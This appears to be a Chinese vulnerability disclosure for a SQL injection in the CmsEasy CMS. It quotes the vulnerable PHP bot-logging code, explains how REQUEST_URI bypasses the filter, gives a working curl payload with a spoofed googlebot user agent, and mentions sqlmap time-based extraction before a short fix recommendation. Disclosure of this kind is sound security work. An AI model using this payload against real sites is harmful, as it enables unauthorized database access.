public static function getbot() {

        $ServerName = $_SERVER["SERVER_NAME"];

        $ServerPort = $_SERVER["SERVER_PORT"];

        $ScriptName = $_SERVER["SCRIPT_NAME"];

        $QueryString = $_SERVER["QUERY_STRING"];

        $serverip = $_SERVER["REMOTE_ADDR"];

        $GetLocationURL=self::geturl();

        $agent1 = $_SERVER["HTTP_USER_AGENT"];

        $agent=strtolower($agent1);

        $Bot="";

        if(strpos($agent,"googlebot")>-1) {

            $Bot = "Google";

        }

        if(strpos($agent,"mediapartners-google")>-1) {

            $Bot = "Google Adsense";

        }

        if(strpos($agent,"baiduspider")>-1) {

            $Bot = "Baidu";

        }

        if(strpos($agent,"sogou")>-1) {

            $Bot = "Sogou";

        }

        if(strpos($agent,"yahoo")>-1) {

            $Bot = "Yahoo!";

        }

        if(strpos($agent,"msn")>-1) {

            $Bot = "MSN";

        }

        if(strpos($agent,"soso")>-1) {

            $Bot = "Soso";

        }

        if(strpos($agent,"iaarchiver")>-1) {

            $Bot = "Alexa";

        }

        if(strpos($agent,"sohu")>-1) {

            $Bot = "Sohu";

        }

        if(strpos($agent,"sqworm")>-1) {

            $Bot = "AOL";

        }

        if(strpos($agent,"yodaobot")>-1) {

            $Bot = "Yodao";

        }

        if(strpos($agent,"iaskspider")>-1) {

            $Bot = "Iask";

        }

        if(strlen($Bot)>0 &&!front::get('admin_dir')) {

            $stats = self::getInstance();

            $insert = $stats->rec_insert(array('bot'=>$Bot,'url'=>$GetLocationURL,'ip'=>$serverip,'time'=>date('Y-m-d H:i:s')));  //当发现是爬虫机器人时记录一来，这个$GetLocationURL是self::geturl();获取的

        }

    }

    看geturl()方法：  

public static function geturl() {

        if(!empty($_SERVER["REQUEST_URI"])) {  //这里很明显的，从REQUEST_URI获取，是的，这样绕过了过滤，过滤方法见/lib/tool/front_class.php约328行

            $scrtName = $_SERVER["REQUEST_URI"];

            $nowurl = $scrtName;

        }else {

            $scrtName = $_SERVER["PHP_SELF"];

            if(empty($_SERVER["QUERY_STRING"])) {

                $nowurl = $scrtName;

            }else {

                $nowurl = $scrtName."?".$_SERVER["QUERY_STRING"];

            }

        }

        return (isset($_SERVER["HTTPS"])&&$_SERVER["HTTPS"] == "on")?'https://':'http://'.$_SERVER['HTTP_HOST'].$nowurl;

    }

    REQUEST_URI是不会自动urldecode一次的，而新一点的 浏览器都会自动编码，所以在命令行下curl最佳：   比如： curl -A "this is googlebot" "http://localhost/test/CmsEasy/index.php?a=','','2000-1-1'),(database(),'2"     CmsEasy默认不报错，这点很好，所以想真正获取点数据啥的估计得用sqlmap延时了，只做分析       当然，以上过程是在发现注入点之后又补充的...直接REQUEST_URI,HTTP_USER_AGENT扫到的   修复方案： 推荐在DB处理类里做类似的过滤，或者严格排查不在GPC的地方